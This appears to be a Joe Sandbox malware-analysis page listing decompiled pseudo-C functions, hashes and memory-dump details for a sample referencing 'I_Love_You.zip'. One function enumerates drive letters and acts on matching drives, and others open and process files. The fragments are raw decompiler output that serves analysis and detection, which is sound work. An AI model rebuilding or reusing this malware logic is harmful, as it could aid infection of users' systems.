Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID: I_Love_You.zip
API String ID: 3161882108-69349870
Opcode ID: f0be6be363c96f83dd8b6677fa028e109001417ba526e88bfd53a6699f616039
Instruction ID: f9bbb920bae34a53852b7a8ae3bd8492a159d249183d5996932f43f3eb41e795
Opcode Fuzzy Hash: f0be6be363c96f83dd8b6677fa028e109001417ba526e88bfd53a6699f616039
Instruction Fuzzy Hash: 3A21DF759043048BCB11EF64D98169EBBF4EF84314F40897FE585A7381EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF4 Relevance: 1.3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404DF4(intOrPtr __eax, intOrPtr _a4) {
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				intOrPtr _v40;
				char _v44;
				char* _v68;
				intOrPtr _v72;
				char* _v80;
				intOrPtr _v84;
				char _v88;
				char* _v92;
				intOrPtr _v96;
				intOrPtr _t25;
				intOrPtr* _t33;
				void* _t34;
				intOrPtr* _t35;

				L0040C3D8();
				_v68 =  &_v32;
				_v72 = 0x28;
				 *_t33 = __eax;
				L0040C4D8();
				_t34 = _t33 - 0xc;
				if(__eax == 0) {
					L4:
					return 0;
				}
				_v80 =  &_v44;
				_t25 = _a4;
				_v84 = _t25;
				_v88 = 0; // executed
				L0040C4E0(); // executed
				_t35 = _t34 - 0xc;
				if(_t25 == 0) {
					 *_t35 = _v32;
					L0040C2E8();
					goto L4;
				}
				_v28 = 1;
				_v24 = _v44;
				_v20 = _v40;
				_v16 = 2;
				_v80 = 0;
				_v84 = 0;
				_v88 = 0x10;
				_v92 =  &_v28;
				_v96 = 0;
				 *_t35 = _v32; // executed
				L0040C4E8(); // executed
				return 1;
			}

0x00404dfa
0x00404e02
0x00404e06
0x00404e0e
0x00404e11
0x00404e16
0x00404e1b
0x00404ea6
0x00000000
0x00404ea6
0x00404e24
0x00404e28
0x00404e2b
0x00404e2f
0x00404e36
0x00404e3b
0x00404e40
0x00404e9b
0x00404e9e
0x00000000
0x00404ea3
0x00404e42
0x00404e4f
0x00404e52
0x00404e55
0x00404e5c
0x00404e64
0x00404e6c
0x00404e77
0x00404e7b
0x00404e86
0x00404e89
0x00000000

Strings

(, xrefs: 00404E06

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 70bff709f9072d4e6a1122d309d6733e6ebeebff8d79adb6f2d5725a62973f5d
Instruction ID: 79319732bb30defa6c9a9f1a6b789a97df9146ac2c859e5e9c71adcb6af8603d
Opcode Fuzzy Hash: 70bff709f9072d4e6a1122d309d6733e6ebeebff8d79adb6f2d5725a62973f5d
Instruction Fuzzy Hash: 21119BB4904305DBDB00EF69C18579EBBF4BF44348F00892EE884A7385E779D549CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00403A38 Relevance: 1.3, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00403A38() {
				void* _v12;
				char _v281;
				short _v283;
				signed int _v284;
				signed char _v285;
				intOrPtr _v308;
				char _v312;
				char _v320;
				signed int _t19;
				signed int _t20;
				intOrPtr _t21;
				intOrPtr* _t22;

				_v308 = 0x104;
				_v312 = 0;
				 *_t22 =  &_v284;
				L0040C1F0();
				_v285 = _v284 & 0x000000ff;
				_v283 = 0x5c3a;
				_v281 = 0;
				_v284 = 0x43;
				_t9 =  &_v284; // 0x43
				_t21 = _t9;
				do {
					_t19 = _v285 & 0x000000ff;
					if(_v284 != _t19) {
						 *_t22 = _t21; // executed
						L0040C370(); // executed
						_t22 = _t22 - 4;
						if(_t19 == 3) {
							_v320 = 0xbb8; // executed
							L0040C308(); // executed
							_t22 = _t22 - 4;
							_v320 = 0xf;
							 *_t22 = _t21; // executed
							_t19 = E00403790(_t19, _t20); // executed
						}
					}
					_v284 = _v284 + 1;
				} while (_v284 <= 0x58);
				return _t19;
			}

0x00403a49
0x00403a51
0x00403a59
0x00403a5c
0x00403a68
0x00403a6e
0x00403a77
0x00403a7e
0x00403a85
0x00403a85
0x00403a8b
0x00403a8b
0x00403a98
0x00403a9a
0x00403a9d
0x00403aa2
0x00403aa8
0x00403aaa
0x00403ab1
0x00403ab6
0x00403ab9
0x00403ac1
0x00403ac4
0x00403ac4
0x00403aa8
0x00403ac9
0x00403acf
0x00403ade

Strings

C:\, xrefs: 00403A85

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: C:\
API String ID: 0-3404278061
Opcode ID: d293f12a55a22e19086a37f23bce7869846b5feac95dcf43aac975cafdb9633c
Instruction ID: ed4c8215e4a3680eb399a4dacd5268703db01feabc7491714eb621602a4a9c6d
Opcode Fuzzy Hash: d293f12a55a22e19086a37f23bce7869846b5feac95dcf43aac975cafdb9633c
Instruction Fuzzy Hash: 1A015BB0C143AC89DB65AB6588563DEBFB49F01319F0484DED6C826282C7784BD8CFD6

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2E Relevance: 1.3, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F2E(void* __ebx, signed int __edx, signed int _a4) {
				void* _v8;
				signed char _v9;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed char _v36;
				intOrPtr _v40;
				signed int _v68;
				signed int _t17;
				signed char _t18;
				signed int _t21;
				signed int _t23;
				void* _t27;
				signed int* _t28;
				signed int* _t29;
				signed int* _t30;

				_t28 = _t27 - 0x24;
				_v9 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 3;
				_v32 = 0;
				_v36 = 1;
				_v40 = 0xc0000000;
				_t17 = _a4;
				 *_t28 = _t17; // executed
				L0040C2D0(); // executed
				_t29 = _t28 - 0x1c;
				_t21 = _t17;
				_t18 = _t17 & 0xffffff00 | _t17 == 0x00000000;
				_t23 = 0;
				if((__edx & 0xffffff00 | _t17 == 0xffffffff | _t18) == 0) {
					_v68 = 0;
					 *_t29 = _t21;
					L0040C2D8();
					_t30 = _t29 - 8;
					if(_t18 < 0xfa8da) {
						_v9 = 1;
					}
					 *_t30 = _t21; // executed
					L0040C2E8(); // executed
					_t23 = _v9 & 0x000000ff;
				}
				return _t23;
			}

0x00402f32
0x00402f35
0x00402f39
0x00402f41
0x00402f49
0x00402f51
0x00402f59
0x00402f61
0x00402f69
0x00402f6c
0x00402f6f
0x00402f74
0x00402f77
0x00402f81
0x00402f84
0x00402f8b
0x00402f8d
0x00402f95
0x00402f98
0x00402f9d
0x00402fa5
0x00402fa7
0x00402fa7
0x00402fab
0x00402fae
0x00402fb6
0x00402fb6
0x00402fc0

Strings

o7@, xrefs: 00402FBC

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: o7@
API String ID: 0-1511109803
Opcode ID: 7affc5be1ed3ea77ba53b0a5fdcfd58173d39116c07c8aae6814327dab2883a3
Instruction ID: 007f44828535ddf31908dd088b9670435e6e0f876da8f20c920cfb81d13e3c29
Opcode Fuzzy Hash: 7affc5be1ed3ea77ba53b0a5fdcfd58173d39116c07c8aae6814327dab2883a3
Instruction Fuzzy Hash: 27014FB05083459BDB00AF75D1D935EBEF0AB5139CF004A6DE8815B2C2D3FE96488B97

Uniqueness

Uniqueness Score: -1.00%

Function 0040402C Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

k_fbpxf5nna, xrefs: 00404033

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: k_fbpxf5nna
API String ID: 0-3032876681
Opcode ID: 6f95fa231079c09e396f6b0f54b5f8dbb5f77dcec0ad5495da8417b03df94277
Instruction ID: b44495afc4b5e1c155c3d7f26a4bf6281c5b98a28f183e2cb1f81a9367dbc24a
Opcode Fuzzy Hash: 6f95fa231079c09e396f6b0f54b5f8dbb5f77dcec0ad5495da8417b03df94277
Instruction Fuzzy Hash: 17E04FB0418308DAC700BF71C1C664DBEE4AB80348F40893EE888622C2C778958C8727

Uniqueness

Uniqueness Score: -1.00%

Function 00403E2E Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

IHYanFuibyan, xrefs: 00403E35

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: IHYanFuibyan
API String ID: 0-2233043627
Opcode ID: 90a2e3c8c183a3a040ff48c78d001bcb7690f83f18904d60cf146c94564bbd81
Instruction ID: b226eb3715ba9fc3d7238d88576273fb4163caaa6f42e8cd02b01324a8811274
Opcode Fuzzy Hash: 90a2e3c8c183a3a040ff48c78d001bcb7690f83f18904d60cf146c94564bbd81
Instruction Fuzzy Hash: 30E04FB0408308DACB00BF71C1C564DBEE4AB40388F40853EE888622C2C778954C8727

Uniqueness

Uniqueness Score: -1.00%

Function 004017F8 Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E004017F8(signed int __edx, signed int _a4, signed char* _a8) {
				void* _v16;
				signed int _v20;
				signed int _v24;
				signed char _v28;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed char _v96;
				signed int _v100;
				signed char _v104;
				signed char _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _t49;
				signed char _t50;
				signed int _t53;
				signed int _t55;
				signed int _t56;
				signed char _t58;
				signed int _t60;
				signed int _t73;
				signed int _t75;
				void* _t76;
				signed int* _t77;
				void* _t78;
				signed int* _t81;
				void* _t82;
				signed char* _t83;

				_t77 = _t76 - 0x2c;
				_v20 = 0;
				_v36 = 0;
				_v40 = 0xa7;
				_v44 = 3;
				_v48 = 0;
				_v52 = 1;
				_v56 = 0x80000000;
				_t49 = _a4;
				 *_t77 = _t49; // executed
				L0040C2D0(); // executed
				_t78 = _t77 - 0x1c;
				_t73 = _t49;
				_t50 = _t49 & 0xffffff00 | _t49 == 0x00000000;
				_t60 = 0;
				if((__edx & 0xffffff00 | _t49 == 0xffffffff | _t50) == 0) {
					_v84 = 0;
					_v88 = _t73;
					L0040C2D8();
					_v24 = _t50;
					L0040C2E0();
					_v88 = _v24;
					_v92 = 0;
					_v96 = _t50; // executed
					L0040C2C0(); // executed
					_t81 = _t78 - 0xfffffffffffffffc;
					_v28 = _t50;
					if(_t50 != 0) {
						_v92 = 0;
						_v96 =  &_v20;
						_t53 = _v24;
						_v100 = _t53;
						_v104 = _v28;
						 *_t81 = _t73; // executed
						L0040C2F0(); // executed
						_t82 = _t81 - 0x14;
						if(_t53 != 0) {
							_t55 = 0xb + _v24 * 4;
							_t56 = _t55 * 0xaaaaaaab;
							_t75 = 1 + (_t55 * 0xaaaaaaab >> 0x20 >> 3) * 4;
							_v124 = _t75;
							_v128 = 0x40; // executed
							L0040C2F8(); // executed
							_t83 = _t82 - 8;
							_v124 = _t75;
							_v128 = _t56;
							_v132 = _v24;
							 *_t83 = _v28;
							_t58 = E00401996(_v28, _v24);
							 *_a8 = _t58;
							L0040C2E0();
							_v128 = _v28;
							_v132 = 0;
							 *_t83 = _t58; // executed
							L0040C2B8(); // executed
							 *(_t83 - 0xc) = _t73;
							L0040C2E8();
							_t60 = _t56;
						} else {
							L0040C2E0();
							_v120 = _v28;
							_v124 = 0;
							_v128 = _t53;
							L0040C2B8();
							 *(_t82 - 0xc) = _t73;
							L0040C2E8();
							_t60 = 0;
						}
					} else {
						 *_t81 = _t73;
						L0040C2E8();
						_t60 = 0;
					}
				}
				return _t60;
			}

0x004017fe
0x00401801
0x00401808
0x00401810
0x00401818
0x00401820
0x00401828
0x00401830
0x00401838
0x0040183b
0x0040183e
0x00401843
0x00401846
0x00401850
0x00401853
0x0040185a
0x00401860
0x00401868
0x0040186b
0x00401873
0x00401876
0x0040187e
0x00401882
0x0040188a
0x0040188d
0x00401892
0x00401895
0x0040189a
0x004018b1
0x004018bc
0x004018c0
0x004018c3
0x004018ca
0x004018ce
0x004018d1
0x004018d6
0x004018db
0x0040191d
0x0040191f
0x00401924
0x0040192b
0x0040192f
0x00401936
0x0040193b
0x00401940
0x00401944
0x0040194b
0x00401952
0x00401955
0x0040195d
0x0040195f
0x00401967
0x0040196b
0x00401973
0x00401976
0x0040197e
0x00401981
0x00401989
0x004018dd
0x004018dd
0x004018e5
0x004018e9
0x004018f1
0x004018f4
0x004018fc
0x004018ff
0x00401907
0x00401907
0x0040189c
0x0040189c
0x0040189f
0x004018a7
0x004018a7
0x0040189a
0x00401994

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79d1a15b634d9b1e5a3fa15e69c196062af290d13395f70f3fbece597fc90d6c
Instruction ID: 56d12447d5e111c6f88c9cc84d084cd75ca963f9ae61866c417ed6db83e02629
Opcode Fuzzy Hash: 79d1a15b634d9b1e5a3fa15e69c196062af290d13395f70f3fbece597fc90d6c
Instruction Fuzzy Hash: 614119B1904705DBD700EFA9C18536EBFF0AF84304F108A3EE884A7791D7799949CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00402E0D Relevance: .1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E00402E0D(signed int __ebx) {
				intOrPtr _t34;
				intOrPtr _t53;
				void* _t57;
				void* _t63;
				intOrPtr* _t65;
				intOrPtr* _t66;
				intOrPtr* _t67;
				intOrPtr* _t68;
				void** _t70;
				intOrPtr* _t71;

				 *((intOrPtr*)(_t65 + 4)) =  *((intOrPtr*)(0x40d0e0 + __ebx * 4));
				 *_t65 = _t63 - 0xb8;
				L0040C328();
				_t66 = _t65 - 8;
				_t34 =  *0x40d0c0; // 0x40e7f1
				 *((intOrPtr*)(_t66 + 4)) = _t34;
				 *_t66 = _t63 - 0x1f8;
				L0040C328();
				_t67 = _t66 - 8;
				 *_t67 = 0x16;
				 *((intOrPtr*)(_t67 + 4)) =  *((intOrPtr*)(0x40d200 + E00404EAE(_t63 - 0x1f8) * 4));
				_t53 = _t63 - 0x128;
				 *_t67 = _t53;
				L0040C328();
				_t68 = _t67 - 8;
				 *_t68 = 4;
				 *((intOrPtr*)(_t68 + 4)) =  *((intOrPtr*)(0x40d178 + E00404EAE( *((intOrPtr*)(0x40d200 + E00404EAE(_t63 - 0x1f8) * 4))) * 4));
				 *_t68 = _t53;
				L0040C328();
				_t57 = _t63 - 0x48;
				asm("cld");
				memset(_t57, 0, 0xa << 2);
				_t70 = _t68 - 8 + 0xc;
				_t70[1] = 0x40edf7;
				 *_t70 = _t57;
				L0040C328();
				_t71 = _t70 - 8;
				 *((intOrPtr*)(_t63 - 0x42c)) = 1;
				while(E00404F0A(_t53, _t57) == 0) {
					 *_t71 = 0x7530;
					L0040C308();
					_t71 = _t71 - 4;
				}
				 *((intOrPtr*)(_t71 + 0x18)) =  *((intOrPtr*)(_t63 - 0x42c));
				 *((intOrPtr*)(_t71 + 0x14)) = _t63 - 0x48;
				 *((intOrPtr*)(_t71 + 0x10)) = _t63 - 0x308;
				 *((intOrPtr*)(_t71 + 0xc)) = _t63 - 0x1f8;
				 *((intOrPtr*)(_t71 + 8)) = _t63 - 0xb8;
				 *((intOrPtr*)(_t71 + 4)) = _t63 - 0x428;
				 *_t71 = _t63 - 0x128; // executed
				E00405EE8(); // executed
				return 0;
			}

0x00402e14
0x00402e1e
0x00402e21
0x00402e26
0x00402e29
0x00402e2e
0x00402e38
0x00402e3b
0x00402e40
0x00402e43
0x00402e56
0x00402e5a
0x00402e60
0x00402e63
0x00402e68
0x00402e6b
0x00402e7e
0x00402e82
0x00402e85
0x00402e8d
0x00402e90
0x00402e9d
0x00402e9d
0x00402e9f
0x00402ea7
0x00402eaa
0x00402eaf
0x00402eb2
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f2b

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID:
API String ID: 3161882108-0
Opcode ID: 1d17a0280bc67e1c3042bcc01e9dc4ba56d3298712c172da46e07356afa5ce70
Instruction ID: f63abfe6bd6a6f6ba5da5a44fc92895626e452bfcf87627a9a73b7892de61845
Opcode Fuzzy Hash: 1d17a0280bc67e1c3042bcc01e9dc4ba56d3298712c172da46e07356afa5ce70
Instruction Fuzzy Hash: 0021ECB59143048BCB10EF64D9816DEBBF0EF84314F40897FE584A3281EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402B1D Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E00402B1D(signed int __ebx) {
				intOrPtr _t51;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				intOrPtr* _t60;
				intOrPtr* _t61;
				intOrPtr* _t62;
				intOrPtr* _t63;

				 *((intOrPtr*)(_t59 + 4)) =  *((intOrPtr*)(0x40d0e0 + __ebx * 4));
				 *_t59 = _t57 - 0xb8;
				L0040C328();
				_t60 = _t59 - 8;
				 *_t60 = 2;
				 *((intOrPtr*)(_t60 + 4)) =  *((intOrPtr*)(0x40d0ac + E00404EAE(_t57 - 0xb8) * 4));
				 *_t60 = _t57 - 0x1f8;
				L0040C328();
				_t61 = _t60 - 8;
				 *_t61 = 0x16;
				 *((intOrPtr*)(_t61 + 4)) =  *((intOrPtr*)(0x40d200 + E00404EAE(_t57 - 0x1f8) * 4));
				_t51 = _t57 - 0x128;
				 *_t61 = _t51;
				L0040C328();
				_t62 = _t61 - 8;
				 *_t62 = 4;
				 *((intOrPtr*)(_t62 + 4)) =  *((intOrPtr*)(0x40d178 + E00404EAE( *((intOrPtr*)(0x40d200 + E00404EAE(_t57 - 0x1f8) * 4))) * 4));
				 *_t62 = _t51;
				L0040C328();
				_t63 = _t62 - 8;
				 *((intOrPtr*)(_t57 - 0x42c)) = 1;
				while(E00404F0A(_t51, _t53) == 0) {
					 *_t63 = 0x7530;
					L0040C308();
					_t63 = _t63 - 4;
				}
				 *((intOrPtr*)(_t63 + 0x18)) =  *((intOrPtr*)(_t57 - 0x42c));
				 *((intOrPtr*)(_t63 + 0x14)) = _t57 - 0x48;
				 *((intOrPtr*)(_t63 + 0x10)) = _t57 - 0x308;
				 *((intOrPtr*)(_t63 + 0xc)) = _t57 - 0x1f8;
				 *((intOrPtr*)(_t63 + 8)) = _t57 - 0xb8;
				 *((intOrPtr*)(_t63 + 4)) = _t57 - 0x428;
				 *_t63 = _t57 - 0x128; // executed
				E00405EE8(); // executed
				return 0;
			}

0x00402b24
0x00402b2e
0x00402b31
0x00402b36
0x00402b39
0x00402b4c
0x00402b56
0x00402b59
0x00402b5e
0x00402b61
0x00402b74
0x00402b78
0x00402b7e
0x00402b81
0x00402b86
0x00402b89
0x00402b9c
0x00402ba0
0x00402ba3
0x00402ba8
0x00402bab
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f2b

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID:
API String ID: 3161882108-0
Opcode ID: d5c3f3d570715c51f7e7b691446ce85857babba50002fd9525e46d9e400a1061
Instruction ID: 03b09b6922a9c514b299c22ddce90b04ecaf30bc7003352be57799a9fe594460
Opcode Fuzzy Hash: d5c3f3d570715c51f7e7b691446ce85857babba50002fd9525e46d9e400a1061
Instruction Fuzzy Hash: C121FCB59143148BCB10EF64D9816DEBBF4BB84314F40857FE584A3281EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402936 Relevance: .1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E00402936(signed int __ebx) {
				intOrPtr _t50;
				void* _t52;
				void* _t56;
				intOrPtr* _t58;
				intOrPtr* _t59;
				intOrPtr* _t60;
				intOrPtr* _t61;
				intOrPtr* _t62;

				 *((intOrPtr*)(_t58 + 4)) =  *((intOrPtr*)(0x40d0e0 + __ebx * 4));
				 *_t58 = _t56 - 0xb8;
				L0040C328();
				_t59 = _t58 - 8;
				 *_t59 = 2;
				 *((intOrPtr*)(_t59 + 4)) =  *((intOrPtr*)(0x40d080 + E00404EAE(_t56 - 0xb8) * 4));
				 *_t59 = _t56 - 0x1f8;
				L0040C328();
				_t60 = _t59 - 8;
				 *_t60 = 0x14;
				 *((intOrPtr*)(_t60 + 4)) =  *((intOrPtr*)(0x40d1a0 + E00404EAE(_t56 - 0x1f8) * 4));
				_t50 = _t56 - 0x128;
				 *_t60 = _t50;
				L0040C328();
				_t61 = _t60 - 8;
				 *_t61 = 5;
				 *((intOrPtr*)(_t61 + 4)) =  *((intOrPtr*)(0x40d164 + E00404EAE( *((intOrPtr*)(0x40d1a0 + E00404EAE(_t56 - 0x1f8) * 4))) * 4));
				 *_t61 = _t50;
				L0040C328();
				_t62 = _t61 - 8;
				while(E00404F0A(_t50, _t52) == 0) {
					 *_t62 = 0x7530;
					L0040C308();
					_t62 = _t62 - 4;
				}
				 *((intOrPtr*)(_t62 + 0x18)) =  *((intOrPtr*)(_t56 - 0x42c));
				 *((intOrPtr*)(_t62 + 0x14)) = _t56 - 0x48;
				 *((intOrPtr*)(_t62 + 0x10)) = _t56 - 0x308;
				 *((intOrPtr*)(_t62 + 0xc)) = _t56 - 0x1f8;
				 *((intOrPtr*)(_t62 + 8)) = _t56 - 0xb8;
				 *((intOrPtr*)(_t62 + 4)) = _t56 - 0x428;
				 *_t62 = _t56 - 0x128; // executed
				E00405EE8(); // executed
				return 0;
			}

0x0040293d
0x00402947
0x0040294a
0x0040294f
0x00402952
0x00402965
0x0040296f
0x00402972
0x00402977
0x0040297a
0x0040298d
0x00402991
0x00402997
0x0040299a
0x0040299f
0x004029a2
0x004029b5
0x004029b9
0x004029bc
0x004029c1
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f2b

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID:
API String ID: 3161882108-0
Opcode ID: c7907f78dd4b6c3bfded88944c0364dafe3047d152eeae0759b5d43392e068e0
Instruction ID: 058901da40b0e2efb01319e0cab41814326d79342e400853ca70bd999cd91e9a
Opcode Fuzzy Hash: c7907f78dd4b6c3bfded88944c0364dafe3047d152eeae0759b5d43392e068e0
Instruction Fuzzy Hash: AE21EE759143148BC710EF64D98169EBBF4FB84314F00897FE5C5A3241EB389698CF96

